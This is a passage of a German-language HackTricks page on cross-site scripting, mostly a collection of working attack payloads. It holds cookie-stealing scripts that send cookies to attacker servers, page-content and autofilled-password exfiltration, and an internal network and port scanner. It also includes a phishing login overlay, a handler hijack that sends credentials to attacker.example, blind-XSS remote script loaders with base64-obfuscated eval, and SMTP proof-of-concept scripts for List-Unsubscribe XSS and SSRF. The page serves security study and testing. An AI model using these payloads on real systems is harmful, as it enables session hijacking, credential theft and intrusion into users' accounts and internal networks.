<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

Du kannst nicht aus JavaScript auf die Cookies zugreifen, wenn das HTTPOnly-Flag im Cookie gesetzt ist. Aber hier hast du some ways to bypass this protection, falls du Glück hast.

Seiteninhalt stehlen

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Interne IPs finden

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kurze Zeiten zeigen einen antwortenden Port an Längere Zeiten zeigen keine Antwort an.

Überprüfe die Liste der in Chrome gesperrten Ports here und in Firefox here.

Box zum Anfordern von Zugangsdaten

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Automatisch ausgefüllte Passwörter erfassen

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don’t write anything the credentials will be ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Wenn irgendwelche Daten in das password-Feld eingegeben werden, werden username und password an den Angreifer-Server gesendet. Selbst wenn der client ein gespeichertes password auswählt und nichts eingibt, werden die credentials ex-filtrated.

Wenn ein kritischer handler (z. B. function DoLogin(){...}) später auf der Seite deklariert wird und dein Payload früher ausgeführt wird (z. B. via inline JS-in-JS sink), definiere zuerst ein const mit demselben Namen, um den Handler vorab zu belegen und zu sperren. Spätere Funktionsdeklarationen können einen const-Namen nicht neu binden, sodass dein hook die Kontrolle behält:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Notes

  • Das beruht auf der Ausführungsreihenfolge: deine Injection muss vor der legitimen Deklaration ausgeführt werden.
  • Wenn dein Payload in eval(...) eingebettet ist, werden const/let-Bindings nicht zu globals. Verwende die dynamische <script> Injection technique aus dem Abschnitt “Deliverable payloads with eval(atob()) and scope nuances”, um ein echtes globales, nicht neu-bindbares Binding sicherzustellen.
  • Wenn Keyword-Filter Code blockieren, kombiniere das mit Unicode-escaped identifiers oder der eval(atob('...'))-Auslieferung, wie oben gezeigt.

Keylogger

Bei einer kurzen Suche auf github habe ich ein paar verschiedene gefunden:

Stehlen von CSRF-Tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Stehlen von PostMessage-Nachrichten

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin script loaders (opener-gated)

Wenn eine Seite event.origin aus einer postMessage speichert und dieses später in eine script URL einfügt, kontrolliert der Sender die origin des geladenen JS:

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

Exploitation recipe (from CAPIG):

  • Gates: läuft nur, wenn window.opener existiert und pixel_id auf der Allowlist steht; die Origin wird niemals geprüft.
  • Use CSP-allowed origin: pivot auf eine Domain, die bereits durch die Opfer-CSP erlaubt ist (z. B. ausgeloggte Help-Seiten, die Analytics wie *.THIRD-PARTY.com erlauben) und hoste dort /sdk/<pixel_id>/iwl.js via takeover/XSS/upload.
  • Restore opener: in Android WebView macht window.name='x'; window.open(target,'x') die Seite zu ihrem eigenen opener; sende die bösartige postMessage aus einem übernommenen iframe.
  • Trigger: das iframe postet {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; das Parent lädt dann die Angreifer-iwl.js von der CSP-erlaubten Origin und führt sie aus.

Das verwandelt origin-losen postMessage-Validation in eine remote script loader primitive, die CSP überlebt, wenn du auf einer bereits von der Policy erlaubten Origin landen kannst.

Supply-chain stored XSS via backend JS concatenation

Wenn ein Backend ein shared SDK aufbaut, indem es JS-Strings mit user-controlled Werten verkettet, kann jedes Quote/Structure-Breaker Script injizieren, das an alle Konsumenten ausgeliefert wird:

  • Beispielmuster (Meta CAPIG): der Server hängt cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>}); direkt an capig-events.js an.
  • Das Injizieren von ' oder "]} schließt das Literal/Objekt und fügt Angreifer-JS hinzu, wodurch stored XSS im verteilten SDK entsteht, für jede Seite, die es lädt (first-party and third-party).

Abusing Service Workers

Abusing Service Workers

Accessing Shadow DOM

Shadow DOM

Polyglots

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Blind XSS payloads

Du kannst auch verwenden: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Zugriff auf versteckte Inhalte

Aus diesem Writeup lässt sich lernen, dass selbst wenn manche Werte aus JS verschwinden, sie weiterhin in JS-Attributen in verschiedenen Objekten gefunden werden können. Zum Beispiel kann eine Eingabe eines REGEX weiterhin gefunden werden, nachdem der Wert der Eingabe des regex entfernt wurde:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force Liste

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS zur Ausnutzung anderer Schwachstellen

XSS in Markdown

Kann man Markdown-Code injizieren, der gerendert wird? Vielleicht bekommst du so XSS! Siehe:

XSS in Markdown

XSS to SSRF

Hast du XSS auf einer Website, die Caching verwendet? Versuche das in SSRF umzuwandeln durch Edge Side Include Injection mit diesem payload:

<esi:include src="http://yoursite.com/capture" />

Use it to bypass cookie restrictions, XSS filters and much more!
More information about this technique here: XSLT.

XSS in dynamic created PDF

Wenn eine Webseite ein PDF unter Verwendung von nutzerkontrollierten Eingaben erstellt, kannst du versuchen, den Bot der das PDF erstellt zu täuschen, damit er beliebigen JS-Code ausführt.
Wenn der PDF creator bot also irgendeine Art von HTML tags findet, wird er diese interpretieren, und du kannst dieses Verhalten missbrauchen, um ein Server XSS zu verursachen.

Server Side XSS (Dynamic PDF)

Wenn du keine HTML-Tags injizieren kannst, kann es sich lohnen, zu versuchen, PDF-Daten zu injizieren:

PDF Injection

XSS in Amp4Email

AMP, das darauf abzielt, die Performance von Webseiten auf mobilen Geräten zu beschleunigen, verwendet HTML-Tags, ergänzt durch JavaScript, um Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Funktionen, zugänglich über AMP components.

Das AMP for Email Format erweitert spezifische AMP-Komponenten für E-Mails und ermöglicht es Empfängern, direkt innerhalb ihrer E-Mails mit Inhalten zu interagieren.

Beispiel writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header Abuse (Webmail XSS & SSRF)

Der RFC 2369 List-Unsubscribe header bettet vom Angreifer kontrollierte URIs ein, die viele Webmail- und Mail-Clients automatisch in “Unsubscribe”-Buttons umwandeln. Wenn diese URIs ohne Validierung gerendert oder abgerufen werden, wird der Header zu einem Injektionspunkt sowohl für stored XSS (wenn der unsubscribe link im DOM platziert wird) als auch SSRF (wenn der Server die unsubscribe-Anfrage im Namen des Benutzers ausführt).

Stored XSS via javascript: URIs

  1. Sende dir selbst eine E-Mail bei der der Header auf eine javascript: URI zeigt, während der Rest der Nachricht harmlos bleibt, damit Spam-Filter sie nicht verwerfen.
  2. Stelle sicher, dass die UI den Wert rendert (viele Clients zeigen ihn in einem “List Info”-Pane) und prüfe, ob das resultierende <a> tag vom Angreifer kontrollierte Attribute wie href oder target übernimmt.
  3. Löse die Ausführung aus (z. B. CTRL+click, middle-click oder “open in new tab”), wenn der Link target="_blank" verwendet; Browser werden das bereitgestellte JavaScript in der Origin der Webmail-Anwendung auswerten.
  4. Beobachte die stored-XSS-Primitive: die Payload bleibt mit der E-Mail bestehen und benötigt nur einen Klick, um ausgeführt zu werden.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

Das Newline-Byte (%0a) in der URI zeigt, dass selbst ungewöhnliche Zeichen die Rendering-Pipeline in verwundbaren Clients wie Horde IMP H5 überleben, die die Zeichenfolge unverändert innerhalb des a-Tags ausgeben.

Minimaler SMTP PoC, der einen bösartigen List-Unsubscribe-Header liefert ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Server-seitige Unsubscribe-Proxies -> SSRF

Einige Clients, wie die Nextcloud Mail app, proxyen die Unsubscribe-Aktion serverseitig: Ein Klick auf den Button veranlasst den Server, die angegebene URL selbst abzurufen. Dadurch wird der Header zu einem SSRF-Primitiv, besonders wenn Administratoren `'allow_local_remote_servers' => true` setzen (dokumentiert in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), was Anfragen an loopback- und RFC1918-Bereiche erlaubt.

1. **Erstelle eine E-Mail** deren `List-Unsubscribe` auf einen vom Angreifer kontrollierten Endpoint zeigt (für blind SSRF Burp Collaborator / OAST verwenden).
2. **Behalte `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** bei, damit die UI einen One-Click-Unsubscribe-Button anzeigt.
3. **Erfülle Vertrauensanforderungen**: Nextcloud führt beispielsweise HTTPS-Unsubscribe-Anfragen nur aus, wenn die Nachricht die DKIM-Prüfung besteht, daher muss der Angreifer die E-Mail mit einer Domain signieren, die er kontrolliert.
4. **Zustelle die Nachricht an ein Postfach, das vom Zielserver verarbeitet wird**, und warte, bis ein Benutzer den Unsubscribe-Button klickt.
5. **Überwache den serverseitigen Callback** am collaborator endpoint und pivotiere dann auf interne Adressen, sobald das Primitiv bestätigt ist.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-signierte List-Unsubscribe-Nachricht für SSRF-Tests ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**Testhinweise**

- Verwende einen OAST-Endpunkt, um blind SSRF-Hits zu sammeln, und passe dann die `List-Unsubscribe`-URL an, um `http://127.0.0.1:PORT`, metadata services oder andere interne Hosts anzusprechen, sobald das Primitive bestätigt ist.
- Da der unsubscribe helper häufig denselben HTTP-Stack wie die Anwendung wiederverwendet, übernimmst du dessen Proxy-Einstellungen, HTTP-Verben und Header-Umschreibungen, was weitere Traversal-Tricks ermöglicht, die in der [SSRF methodology](../ssrf-server-side-request-forgery/README.md) beschrieben sind.

### XSS Dateien hochladen (svg)

Lade als Bild eine Datei wie die folgende hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Finde mehr SVG payloads in https://github.com/allanlw/svg-cheatsheet

Verschiedene JS-Tricks & Relevante Infos

Misc JS Tricks & Relevant Info

XSS-Ressourcen

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks